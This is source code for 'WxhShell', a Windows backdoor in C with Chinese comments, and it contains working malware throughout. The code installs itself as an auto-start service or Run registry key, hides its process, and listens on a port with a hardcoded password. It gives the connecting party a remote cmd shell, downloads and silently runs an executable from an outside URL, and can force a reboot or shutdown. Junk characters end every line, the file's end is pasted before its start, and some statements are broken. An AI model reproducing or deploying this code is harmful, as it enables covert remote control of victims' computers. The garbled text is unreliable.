    ExitThread(0); G8F;fG N  
    } e{2Za   
    break; 0F!Uai1  
    } or ~@!  
  // 关机 7g8\q@',  
  case 'd': { im>/$!&OyI  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); `o_i+?E  
    if(Boot(SHUTDOWN)) i]zh8|">  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6;I zw$X  
    else { \Q`#E'?  
    closesocket(wsh); x2~fc  
    ExitThread(0); 9[{q5  
    } ( K-7z  
    break; P[`>*C\9c  
    } p^{yA"MQ  
  // 获取shell f3,Xb ]h  
  case 's': { k"dE?v\cG  
    CmdShell(wsh); iw(`7(*  
    closesocket(wsh); 8f?o?c|  
    ExitThread(0); HU +271A8  
    break; z xv y&  
  } k?pNmKVJM  
  // 退出 K:4 G(?w  
  case 'x': { P'5Lu  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); C>l (4*S  
    CloseIt(wsh); 7}=MVp] )S  
    break; /$8& r  
    } UQ e1rf  
  // 离开 GYT0zMMf  
  case 'q': { y#ON=8l  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); _n*gj-  
    closesocket(wsh); i+-=I+L3  
    WSACleanup(); qk&BCkPT  
    exit(1); 6jal5<H  
    break; yh4%  
        } ojWf]$^y}  
  } ^*NOG\BK@  
  } A?ESjMy(R  
^SUo-N''  
  // 提示信息 <p_2&& ?  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |<YF.7r;  
} Q>=/u-  
  } 48GaZ@v  
U$ZbBVa`~  
  return; @bFl8-  
} F>u/Lh!  
TTxSl p2=;  
// shell模块句柄 3z 5"Ckzb  
int CmdShell(SOCKET sock) +I~U8v-  
{ tN)Vpb\J  
STARTUPINFO si; ' #r^W2  
ZeroMemory(&si,sizeof(si)); HBa6Y&)<  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; G)5Uiu:^X  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; /X\:3P  
PROCESS_INFORMATION ProcessInfo; e+MsFXnB8  
char cmdline[]="cmd"; .fzns20u  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); +zFEx%3^  
  return 0; RoD9  
} Im`R2_(]  
~r]$(V n  
// 自身启动模式 >&qaT*_g  
int StartFromService(void) (n{!~'3  
{ /P{'nI  
typedef struct 0pe*DbYP5  
{ 3t] 0  
  DWORD ExitStatus; s[*I210  
  DWORD PebBaseAddress; 3V/|"R2s  
  DWORD AffinityMask; y*sqnzgF  
  DWORD BasePriority; OdJ=4 x>  
  ULONG UniqueProcessId; DV bY   
  ULONG InheritedFromUniqueProcessId; ,Hc,]TPC4  
}   PROCESS_BASIC_INFORMATION; ?7*J4.  
-uK@2} NZ  
PROCNTQSIP NtQueryInformationProcess; |SsmVW$B|  
C Yk"  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ?rwHkPJ{*  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; H!g9~a  
zL:k(7E  
  HANDLE             hProcess; %t-}dC&  
  PROCESS_BASIC_INFORMATION pbi; ]O M?e  
8g 2'[ci$q  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); E+aE5wmr  
  if(NULL == hInst ) return 0; Luh*+l-nO  
4vPKDd  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); cT^x^%  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); B\7 80p<  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); t4,(W`  
FE?^}VH  
  if (!NtQueryInformationProcess) return 0; ^t)alNGos  
O$& 4{h`  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); k{C|{m  
  if(!hProcess) return 0; )0@&pEObm  
w3oe.hWP3N  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 9O#?r82  
Ru`7Xd.  
  CloseHandle(hProcess); oO,"B8a  
ZltY_5l  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); P0szY"}  
if(hProcess==NULL) return 0; }2_ i<4,L  
![@\p5-e  
HMODULE hMod; FkIT/H  
char procName[255];  AQz&u  
unsigned long cbNeeded; X=b]Whuv  
rexy*Xv`2p  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); GI*2*m!u  
gNo}\ lm4V  
  CloseHandle(hProcess); V_7QWIdiy>  
vJ!<7 l&  
if(strstr(procName,"services")) return 1; // 以服务启动 *Ry "`"  
5},kXXN{+  
  return 0; // 注册表启动 k;y5nXIlN  
} 3MFb\s&Fq  
S QVyCxcX_  
// 主模块  'x\{sv  
int StartWxhshell(LPSTR lpCmdLine) -qndBS  
{  w4p<q68  
  SOCKET wsl; FZhjI 8+,~  
BOOL val=TRUE; !_UBw7Zm  
  int port=0; <</ Le%  
  struct sockaddr_in door; I!-5 #bxD  
h/F,D_O>ZO  
  if(wscfg.ws_autoins) Install(); ;F'/[l{+  
;*EPAC+  
port=atoi(lpCmdLine); lvZ:Aw r  
Ni 5Su  
if(port<=0) port=wscfg.ws_port; L%O( I  
j*)K> \  
  WSADATA data; p=U5qM.O  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; :Qra9; Y  
`]:&h'  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   vErlh:~e  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); #EdsB  
  door.sin_family = AF_INET; ? v2JuhRe  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); !NFP=m1  
  door.sin_port = htons(port); 4 U`5=BI  
0?nm`9v6  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ,=kQJ|  
closesocket(wsl); Kzd)Z fnD0  
return 1; t{)J#8:g  
} CK+_T}+-  
gcf EJN4'  
  if(listen(wsl,2) == INVALID_SOCKET) { (t)a u  
closesocket(wsl); K2R[u#Q  
return 1; i^'Uod0d.  
} j8Csnm0  
  Wxhshell(wsl); #/ Qe7:l  
  WSACleanup(); %@Ty,d:;=  
*b0f)y3RV  
return 0; P*;zDQy  
Xz, sL  
} +b]+5!  
9fL48f$  
// 以NT服务方式启动 SNK _  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) B}y-zj; T  
{ 6- @n$5W0  
DWORD   status = 0; ;eeu 9_$  
  DWORD   specificError = 0xfffffff; f#9\&-h e0  
5#U*vGVT  
  serviceStatus.dwServiceType     = SERVICE_WIN32; lE?F Wt  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ,HQaS9vBQ  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 0vRug|}k#%  
  serviceStatus.dwWin32ExitCode     = 0; aGz <Yip  
  serviceStatus.dwServiceSpecificExitCode = 0; UE9r1g`z  
  serviceStatus.dwCheckPoint       = 0; wN ![SM/+  
  serviceStatus.dwWaitHint       = 0; bJE$>  
a_0G4@=T  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Wg+fT{[f|  
  if (hServiceStatusHandle==0) return; a~F` {(Q2  
t~0}Emgp<(  
status = GetLastError(); jreY'y:  
  if (status!=NO_ERROR) e/<Og\}P/  
{ "sf]I[a  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; `)W}4itm  
    serviceStatus.dwCheckPoint       = 0; {s=$.Kg  
    serviceStatus.dwWaitHint       = 0; Rg6e7JVu  
    serviceStatus.dwWin32ExitCode     = status; 'nM)=  
    serviceStatus.dwServiceSpecificExitCode = specificError; M/,jHG8v  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); &<P!o_+eb  
    return; z;_d?S <*m  
  } 0#mu[O  
&\0`\#R  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; u&>o1!c*P  
  serviceStatus.dwCheckPoint       = 0; P:")Qb2  
  serviceStatus.dwWaitHint       = 0; {AY `\G  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); e>kw>%3bl9  
} `"E|  
g[P8  
// 处理NT服务事件,比如:启动、停止 |'2E'?\/x  
VOID WINAPI NTServiceHandler(DWORD fdwControl) hD>O LoO  
{ 8L?35[]e  
switch(fdwControl) ? 1g<] ?  
{  R9->.eE  
case SERVICE_CONTROL_STOP: j/R  
  serviceStatus.dwWin32ExitCode = 0; .TURS  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; B%L0g.D"  
  serviceStatus.dwCheckPoint   = 0; /EOtK|E  
  serviceStatus.dwWaitHint     = 0; ;q&>cnLDR  
  { Iky'x[p,D  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,!f*OWnZ  
  } >4.{|0%ut  
  return; j!;?=s  
case SERVICE_CONTROL_PAUSE: G!54 e  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; PT|W{RlNl  
  break; Ve&(izIh  
case SERVICE_CONTROL_CONTINUE: otXB:a  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; mb*L'y2r  
  break; <8Qa"<4f;  
case SERVICE_CONTROL_INTERROGATE: 1e;^Mz B"  
  break; -, ~n|ceI  
}; (d[)U<  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^z$-NSlI  
} LmLV2f  
@>J4K#"  
// 标准应用程序主函数 ?<Dinq  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Rp)82- .  
{ m&OzT~?_>N  
4b8!LzKS  
// 获取操作系统版本 ,2)LH 'Xx  
OsIsNt=GetOsVer(); EM*YN=So  
GetModuleFileName(NULL,ExeFile,MAX_PATH); )#r]x1[Kn  
G Cx]VN3 &  
  // 从命令行安装 o_<o8!]l"  
  if(strpbrk(lpCmdLine,"iI")) Install(); #Vanw!  
v.+-)RLQg  
  // 下载执行文件 YSt']  
if(wscfg.ws_downexe) { ~_SV `io  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Z8Fbx+~"  
  WinExec(wscfg.ws_filenam,SW_HIDE); S5'BXE,  
} itM6S$  
[t /hjm"$  
if(!OsIsNt) { g[j"]~  
// 如果时win9x,隐藏进程并且设置为注册表启动 <Ja>  
HideProc(); ]OHzE]Q  
StartWxhshell(lpCmdLine); !h2ZrT9 _  
} #zXkg[J6d  
else vcAs!ls+  
  if(StartFromService()) k@AOE0m  
  // 以服务方式启动 R\+p`n$  
  StartServiceCtrlDispatcher(DispatchTable); Nl7"|()e  
else Fk>/  
  // 普通方式启动 K.] *:fd  
  StartWxhshell(lpCmdLine); O~B iqm  
8@qYzSx[  
return 0; 'u$$scGt  
} l?B\TA^  
lC.Yu$O5  
@Q3aJ98)2  
g^1M]1.f  
=========================================== j ij:}.d6  
=_8  
KLs%{'[7:  
VZJs@qx:Z  
|J2R w f  
(hVhzw"~  
" u|=_!$8  
`Y/DttjL  
#include <stdio.h> )oa6;=go  
#include <string.h> &&|*GAjJ  
#include <windows.h> ow ~(k5k:  
#include <winsock2.h> _ EHr?b2  
#include <winsvc.h> Y ,B0=}  
#include <urlmon.h> ,'F;s:WM,  
kVQKP  U  
#pragma comment (lib, "Ws2_32.lib") x+"~-KO8q$  
#pragma comment (lib, "urlmon.lib") !tFs(![  
+is;$ 1rq  
#define MAX_USER   100 // 最大客户端连接数 N>7INK  
#define BUF_SOCK   200 // sock buffer yuk64o2QE  
#define KEY_BUFF   255 // 输入 buffer ^!1mChf  
j|KZ HH%dc  
#define REBOOT     0   // 重启 r<Ll>R  
#define SHUTDOWN   1   // 关机 xe|o( !(  
A--Hg-N|  
#define DEF_PORT   5000 // 监听端口 J(h=@cw  
9~<HTH  
#define REG_LEN     16   // 注册表键长度 d> `9!)  
#define SVC_LEN     80   // NT服务名长度 ?I`']|I  
kh 1 7  
// 从dll定义API _{KQQ5k\  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); v'S}&zmF]  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); >tqLwC."'  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 2IqsBK`  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); w:Tz&$&Y$  
93[c^sc9*a  
// wxhshell配置信息 v$w!hYsQ  
struct WSCFG { h2!We#  
  int ws_port;         // 监听端口 ]6p?mBuQ  
  char ws_passstr[REG_LEN]; // 口令 kp[+Iun?  
  int ws_autoins;       // 安装标记, 1=yes 0=no I2q C,Nkk  
  char ws_regname[REG_LEN]; // 注册表键名 I)]wi%  
  char ws_svcname[REG_LEN]; // 服务名 2md1GWyP  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 D(s[=$zua  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ! 9k)hP  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ]&qujH^Dd*  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 2r"-X  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" r@H<@Vuc  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ITRv^IlF  
iQZgs@  
}; m]+g[L?-  
Xp{+){Iu  
// default Wxhshell configuration ,Zb]3  
struct WSCFG wscfg={DEF_PORT, 0ho+Y@8  
    "xuhuanlingzhe", +%=Ao6/#  
    1, hJ>{`Tw  
    "Wxhshell", L=Fm:O'#2  
    "Wxhshell", T c4N\Cy  
            "WxhShell Service", h2zuPgz,  
    "Wrsky Windows CmdShell Service", ,g#=pdX;  
    "Please Input Your Password: ", Z+=WgEu1  
  1, jnYFA[Ab  
  "http://www.wrsky.com/wxhshell.exe", hUcG3IOBf  
  "Wxhshell.exe" ot]E\g+!  
    }; .KGW#Qk8  
_+S`[:;a  
// 消息定义模块 O$E3ry+?  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ^UZEdR;  
char *msg_ws_prompt="\n\r? for help\n\r#>"; KO<Yc`Fs  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; H ZIJKk(  
char *msg_ws_ext="\n\rExit."; 3lqR(Hh3  
char *msg_ws_end="\n\rQuit."; Fa,a)JY>  
char *msg_ws_boot="\n\rReboot..."; 9Y- Sqk+  
char *msg_ws_poff="\n\rShutdown..."; mrX3/e  
char *msg_ws_down="\n\rSave to "; Di<KRg1W]}  
* 'WzIk2  
char *msg_ws_err="\n\rErr!"; } '.l'%  
char *msg_ws_ok="\n\rOK!"; 07DpvhDQ  
|rka/_  
char ExeFile[MAX_PATH]; >lU[ lf+/  
int nUser = 0; 4iBp!k7  
HANDLE handles[MAX_USER]; KY<>S/  
int OsIsNt; ;WC]Lf<Z^  
29 L~SMf  
SERVICE_STATUS       serviceStatus; 7@$Hua,GY  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; |Ma"B4  
E5UI  
// 函数声明 Xa.Qt.C  
int Install(void); p\wE})mu  
int Uninstall(void); # nwEF QA  
int DownloadFile(char *sURL, SOCKET wsh); **d3uc4y  
int Boot(int flag); lV: R8^d  
void HideProc(void); %'nM!7w@I  
int GetOsVer(void); }xn\.M:ic  
int Wxhshell(SOCKET wsl); V{p*N*  
void TalkWithClient(void *cs); + O=wKsGD  
int CmdShell(SOCKET sock); F``$}]9KHD  
int StartFromService(void); OWx YV$  
int StartWxhshell(LPSTR lpCmdLine); -LJbx<'  
I#zrz3WU  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); %kS+n_*  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); U,yU-8z/  
$(H%|Oyn  
// 数据结构和表定义 -~~"}u  
SERVICE_TABLE_ENTRY DispatchTable[] = -tAdA2?G  
{ mVg-z~44T  
{wscfg.ws_svcname, NTServiceMain}, <LIL{g0eX  
{NULL, NULL} UJ 1iXV[h"  
}; BK]bSj  
n$g g$<  
// 自我安装 DnS# cs~  
int Install(void) Wp`wIe6  
{ QU_O9 BN  
  char svExeFile[MAX_PATH]; oJ\UF S  
  HKEY key; R"EX$Zj^E  
  strcpy(svExeFile,ExeFile); Mp^%.m  
xAw$bJj~s  
// 如果是win9x系统,修改注册表设为自启动 I$9^i#O'3  
if(!OsIsNt) { Jp=eh   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ?D]4*qsIlu  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); tI0d!8K  
  RegCloseKey(key); 1T a48  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `9n%Dy<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9}Ud'#E  
  RegCloseKey(key); uV!Ax *'  
  return 0; L}*:,&Y/  
    } NK2Kw{c"iI  
  } 9E4H`[EQ  
} ` =g9Rg/<  
else { wN\%b}pp  
Gkv<)}G  
// 如果是NT以上系统,安装为系统服务 n#[-1 (P  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); k3h,c;  
if (schSCManager!=0) f^z~{|%l!  
{  h%0/j  
  SC_HANDLE schService = CreateService 3JVENn9  
  ( T&c0j(  
  schSCManager, /L\ ]t  
  wscfg.ws_svcname, (xf_  
  wscfg.ws_svcdisp, 5@ecZ2`)+h  
  SERVICE_ALL_ACCESS, mD{<Lp=  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , DvCs 5  
  SERVICE_AUTO_START, u[q1]]   
  SERVICE_ERROR_NORMAL, -B-?z?+(O  
  svExeFile, YjN2 ,Xi  
  NULL, ! /;@kXN  
  NULL, 4nQk*:p(X  
  NULL, i_Dv+^&zV  
  NULL, /. GHR  
  NULL 9otA5I^v  
  ); wegu1Ny  
  if (schService!=0) SQhk)S  
  { qP{S!Z(  
  CloseServiceHandle(schService); C` ?6`$Y  
  CloseServiceHandle(schSCManager); 86NAa6BW  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); W iqlc  
  strcat(svExeFile,wscfg.ws_svcname); 7\m.xWX e  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { sVtx h]  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); <`,pyvR Kv  
  RegCloseKey(key); 4A^=4"BCV  
  return 0; M24FuS  
    } V9[-# Ti  
  } k>y68_  
  CloseServiceHandle(schSCManager); ~SgW+sDF u  
} tgXIj5z  
} px;5X4U  
i1k(3:ay<  
return 1; yQ5&S]Xk$$  
} c`}-i6  
ivg:`$a[  
// 自我卸载 ?tS=rqc8oW  
int Uninstall(void) NBHS   
{ $Y.Z>I;  
  HKEY key; 7OY<*ny  
:+,>0%  
if(!OsIsNt) { 0vOt. LC/S  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -6a4H?L  
  RegDeleteValue(key,wscfg.ws_regname); b* Ny  
  RegCloseKey(key);  $0>>Z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { GWo^hIfJ  
  RegDeleteValue(key,wscfg.ws_regname); sf )ojq6s  
  RegCloseKey(key); eAKK uML  
  return 0; R|aA6} /I  
  } n!=%MgF'*p  
} H }w"4s  
} ReE-I/n8f  
else { zK`fX  
5N "fD{v{  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); XOgl> 1O  
if (schSCManager!=0) V^fSrW]  
{ 7KIOI,qb6  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); L".Qf|b*  
  if (schService!=0) -;pZC}Nd3  
  { ,,1H#;j  
  if(DeleteService(schService)!=0) { )D\cm7WX^[  
  CloseServiceHandle(schService); EOJk7  
  CloseServiceHandle(schSCManager); (O{5L(  
  return 0; <Y~?G:v6+  
  } BzBij^h  
  CloseServiceHandle(schService); W:D'k^u  
  } #;FHyKx  
  CloseServiceHandle(schSCManager); F7$x5h@  
} cpz'upVOZ  
} :Awnj!KNCc  
Vj?{T(K1[  
return 1; YT7,=k_  
} E^uau=F  
'}\{4Qst  
// 从指定url下载文件 "q@OM f  
int DownloadFile(char *sURL, SOCKET wsh) BG:l Zj'I  
{ 6&/H XqP  
  HRESULT hr; b]S4\BBT  
char seps[]= "/"; [pMJ9 d$  
char *token; xbJ@z {  
char *file; Wy^43g38'p  
char myURL[MAX_PATH]; _22;hnG<iy  
char myFILE[MAX_PATH]; me]O  
Z-(#}(HD  
strcpy(myURL,sURL); ,Q|[Yr  
  token=strtok(myURL,seps); ]~S,K}T  
  while(token!=NULL) KV1zx(WI  
  { ly`p)6#R=  
    file=token; C =fs[  
  token=strtok(NULL,seps); 6<0-GD}M  
  } +g36,!q  
'Okitq+O  
GetCurrentDirectory(MAX_PATH,myFILE); ! K? o H  
strcat(myFILE, "\\"); bz!9\D|h  
strcat(myFILE, file); hKq <e%oVH  
  send(wsh,myFILE,strlen(myFILE),0); W\09h Z6  
send(wsh,"...",3,0); j" wX7  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); YrAaL"20  
  if(hr==S_OK) T' O5> e  
return 0; }`k >6B  
else J }izTI  
return 1; jU')8m[  
Dw}8ci'  
} ,arFR'u>  
gM=oH   
// 系统电源模块 M7Ej#Y  
int Boot(int flag) ]{0R0Gr94  
{ y Q\K;  
  HANDLE hToken; {l&6= z  
  TOKEN_PRIVILEGES tkp; N<wy"N{iS  
zt/p' khP3  
  if(OsIsNt) { @91Q=S  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); #6g-{OBv  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); :`BZ,j_  
    tkp.PrivilegeCount = 1; b_ 88o-*/  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; m~s.al(G91  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); !>XG$-$`Z  
if(flag==REBOOT) { B ;Zsp  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) I#(D.\P  
  return 0; ^bpxhf x  
} ', -4o-  
else { fuJ6 fmT  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) p)}iUU2N  
  return 0; `q Sfo`  
}  _Y@'<S.  
  } PAF2=  
  else { 1_vaSEov  
if(flag==REBOOT) { R03V+t=  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) `5}XmSJ?5  
  return 0; $LUNA.  
} h>B>t/k?  
else { 2^ 'X  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ;OW`(jC  
  return 0; ?_9cFo59:  
} | >xUgpQi  
} [~$Ji&Dd  
$I(2}u?1+d  
return 1; #W<D~C[I _  
} ]>h2h?2te  
9TGjcZ1S'  
// win9x进程隐藏模块 Qxj &IX  
void HideProc(void) u?[P@_i<  
{ rtcY(5Q  
9ls<Y  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); FY"!%)TV  
  if ( hKernel != NULL ) v ?@Ys+V  
  { H?8uy_Sc  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); \~ O6S`,  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); hNXP-s  
    FreeLibrary(hKernel); & i|x2; v  
  } T 1m097  
"El$Sat`  
return; jYKs| J)[  
} LLOe  
!?B9 0(  
// 获取操作系统版本 Qz&I~7aoyV  
int GetOsVer(void) ;;BQuG  
{ +s&+G![  
  OSVERSIONINFO winfo; w2y{3O"p=  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); =g' 7 xA  
  GetVersionEx(&winfo); Mj5=t:MI  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) *ie#9jA  
  return 1; m;o \.s  
  else *=}$@O S  
  return 0; Gad! }dz  
} ^!H8"CdC3  
pLMki=.Ld  
// 客户端句柄模块 '/ 3..3k  
int Wxhshell(SOCKET wsl) Uxx=$&#  
{ OIB~ W  
  SOCKET wsh; u{=(] n  
  struct sockaddr_in client; 'LIJpk3J  
  DWORD myID; Q%~b(4E^7P  
{>>ozB.  
  while(nUser<MAX_USER) p"ht|x  
{ FCQIfJ#  
  int nSize=sizeof(client); 04NI.Jv  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); !$hrK6o  
  if(wsh==INVALID_SOCKET) return 1; ~$w-I\Q!  
k{Yj!C> #  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 4VLrl8$K  
if(handles[nUser]==0) cF_`m  
  closesocket(wsh); 5{qFKo"g@,  
else [r_,BH\nu  
  nUser++; m *8[I  
  } Lu}oC2  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); @u3K.}i:g  
|0n h  
  return 0; Q(gu ";&  
} ->&AJI0  
2Jrr;"r  
// 关闭 socket %*]3j^b Q+  
void CloseIt(SOCKET wsh) q{Hk27kt  
{ uc~PKU?tO  
closesocket(wsh); D8slSX`6j  
nUser--; Hx2.2 A^  
ExitThread(0); C/%umazP9  
} ftsr-3!Vm  
-tZ2 N  
// 客户端请求句柄 ^dH#n~Wx0  
void TalkWithClient(void *cs) a_'W1ek-@  
{ q5:-?|jXJ  
],R rk]1  
  SOCKET wsh=(SOCKET)cs; a^i`DrX  
  char pwd[SVC_LEN]; yyxGVfr  
  char cmd[KEY_BUFF]; vV.'&."g  
char chr[1]; =UA-&x@  
int i,j; \tLJ( <8  
@5Q}o3.zA-  
  while (nUser < MAX_USER) { ^#e:q  
.z7X Ymv  
if(wscfg.ws_passstr) { wIuwq>  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); sxJKu  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  f]q3E[?/  
  //ZeroMemory(pwd,KEY_BUFF); $ t_s7  
      i=0; )zI<C=])"  
  while(i<SVC_LEN) { g*\u8fpRq  
!TP8LQ  
  // 设置超时 t*y4)I !gR  
  fd_set FdRead; HY9H?T  
  struct timeval TimeOut; kvv-f9/-  
  FD_ZERO(&FdRead); z~+_sTu  
  FD_SET(wsh,&FdRead); r]Da4G^  
  TimeOut.tv_sec=8; G+AD &EHV  
  TimeOut.tv_usec=0; j2deb`GD  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 6'395x_ .\  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); K+Al8L?K_  
"Q'#V!  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); jfZ(5Qu3.H  
  pwd=chr[0]; ?/)Mt(p  
  if(chr[0]==0xd || chr[0]==0xa) { :h0as!2@dp  
  pwd=0; v>.nL(VLjP  
  break; cEi{+rfZd|  
  } |gx{un`  
  i++; l/[@1(F  
    } JT&CJ&#[h  
:1eI"])(  
  // 如果是非法用户,关闭 socket 6#6Ve$Vl]  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); mN@)b+~(S  
} Q[scmP^$^  
i;*c|ma1>  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 9c8zH{T_{  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *fW&-ic  
IyIh0B~i  
while(1) { %~J90a  
g$kK)z  
  ZeroMemory(cmd,KEY_BUFF); ~el#pf~  
wKe^5|Rr  
      // 自动支持客户端 telnet标准   j[m\;3Sp  
  j=0; !tv3.:eT  
  while(j<KEY_BUFF) { << LmO-92  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); n_AW0i .  
  cmd[j]=chr[0]; Y1+4ppZ  
  if(chr[0]==0xa || chr[0]==0xd) { r ^_8y8&l  
  cmd[j]=0; HD?z   
  break; AvRZf-Geg  
  } Crh5^?  
  j++; ~ygiKsD6b  
    } [=u8$5/a  
Q#urx^aw  
  // 下载文件 JM -Tp!C>  
  if(strstr(cmd,"http://")) { @5\OM#WT~&  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); >k*QkIyq  
  if(DownloadFile(cmd,wsh)) u!oHP  
